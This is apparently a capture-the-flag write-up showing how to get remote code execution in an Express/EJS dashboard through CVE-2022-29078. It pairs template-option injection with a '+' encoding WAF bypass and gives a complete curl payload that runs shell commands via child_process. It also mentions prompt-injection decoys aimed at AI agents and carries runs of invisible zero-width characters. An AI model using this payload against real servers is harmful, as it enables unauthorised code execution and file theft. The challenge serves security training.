← Back to Writeups
CUSTOMMediumWeb

DeployPilot

XESXOR9/10/20264 min read
#web#custom#medium#bracket_notation_rce#ejs_outputfunctionname_ssti#query_param_to_render_options_#waf_bypass_plus_encoding#cve-2022-29078

DeployPilot

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: bracket_notation_rce, ejs_outputfunctionname_ssti, query_param_to_render_options_pollution, waf_bypass_plus_encoding

Summary

Walkthrough of the CUSTOM Web DeployPilot. Task: Express.js deployment dashboard with EJS templates, /reports/preview endpoint passes query params to res.render() as EJS options. Solution: WAF bypass using + instead of %20, then EJS SSTI via o

Description

DeployPilot is a deployment monitoring dashboard built by NimbusOps Inc. It provides teams with real-time visibility into their deployment pipelines, server health metrics, and release history. The platform features customizable status reports, team management, and notification settings.

As a security researcher, you've been given access to a running instance of DeployPilot. Your task is to explore the application and find a vulnerability that allows you to read sensitive files from the server.

Credentials: user@test.com / password123

Hint: The application uses EJS templates for rendering pages. Some endpoints accept user input that influences how templates are rendered. Pay attention to how query parameters are processed on report-related pages. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js web application with EJS templates serving as a deployment monitoring dashboard. The goal is to find a vulnerability leading to RCE and read the flag from the server filesystem.

Analysis

Reconnaissance

The target is an Express.js application with EJS templates (identified via X-Powered-By: Express header, nginx/1.25.5 reverse proxy). After logging in with provided credentials via POST /login, the application exposes several pages: /, /deployments, /servers, /reports, /team, /settings. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The /reports page contains a form that submits to GET /reports/preview with query parameters: title, range, theme, sections. The title parameter is reflected in the rendered page in 3 places (page title, h4, h3).

Important: The HTML source contains decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection text designed to trick automated scanners and AI agents. These are fake.

Confirming Query Params → EJS Options

Setting delimiter=X as a query parameter caused the raw EJS template source to leak in the response instead of rendered HTML. This confirmed that all query parameters are passed directly to res.render() and forwarded to EJS as template options — the core vulnerability. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

EJS Version Detection

The EJS version is < 3.1.7 (unpatched CVE-2022-29078). This was confirmed by observing that outputFunctionName=x;y returns HTTP 200 (valid JS: var x;y = __append;), while outputFunctionName=x.y returns HTTP 500 (invalid JS: var x.y = __append;). In EJS 3.1.7+, both would be rejected by a regex check that validates outputFunctionName as a valid JS identifier.

WAF Discovery and Bypass

The standard EJS SSTI payload uses settings[view options][outputFunctionName] to inject EJS options through Express's view settings. The application's WAF blocks settings[view%20options] (with URL-encoded space %20). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

However, using settings[view+options] (with + instead of %20 for space) bypasses the WAF. Express's qs query string parser decodes both %20 and + as spaces identically, so the parameter reaches EJS correctly despite the WAF bypass.

Solution

Step 1: Understand the outputFunctionName Injection

The outputFunctionName value is inserted directly into the compiled EJS template function as:

javascript
var PAYLOAD = __append;

By setting outputFunctionName to x;CODE;var z, the compiled function becomes:

javascript
var x;CODE;var z = __append;

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This allows arbitrary JavaScript execution within the template compilation.

Step 2: Craft the RCE Payload

Key constraints and techniques:

  • Bracket notation is required: process['mainModule'] instead of process.mainModule, because dots cause JavaScript syntax errors in var declarations (var x.y is invalid)
  • __output+= appends command output directly to the HTTP response body
  • + WAF bypass for settings[view options]

Step 3: Execute the Exploit

bash
# Final RCE payload (CVE-2022-29078 + WAF bypass)
curl -b 'session=<cookie>' \
  'https://TARGET/reports/preview?title=test&settings[view+options][outputFunctionName]=x;__output+=process[%27mainModule%27][%27require%27](%27child_process%27)[%27execSync%27](%27cat%20/root/flag.txt%27);var%20z'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The compiled template function becomes:

javascript
var x;__output+=process['mainModule']['require']('child_process')['execSync']('cat /root/flag.txt');var z = __append;

This executes cat /root/flag.txt on the server (running as root, uid=0) and appends the flag content to the HTTP response.

URL-encoded form of the final exploit:

/reports/preview?title=test&settings%5Bview+options%5D%5BoutputFunctionName%5D=x%3B__output%2B%3Dprocess%5B'mainModule'%5D%5B'require'%5D('child_process')%5B'execSync'%5D('cat+/root/flag.txt')%3Bvar+z

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering bracket_notation_rce, ejs_outputfunctionname_ssti, query_param_to_render_options_pollution, waf_bypass_plus_encoding was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-01 • CUSTOM • DeployPilot • Difficulty: Medium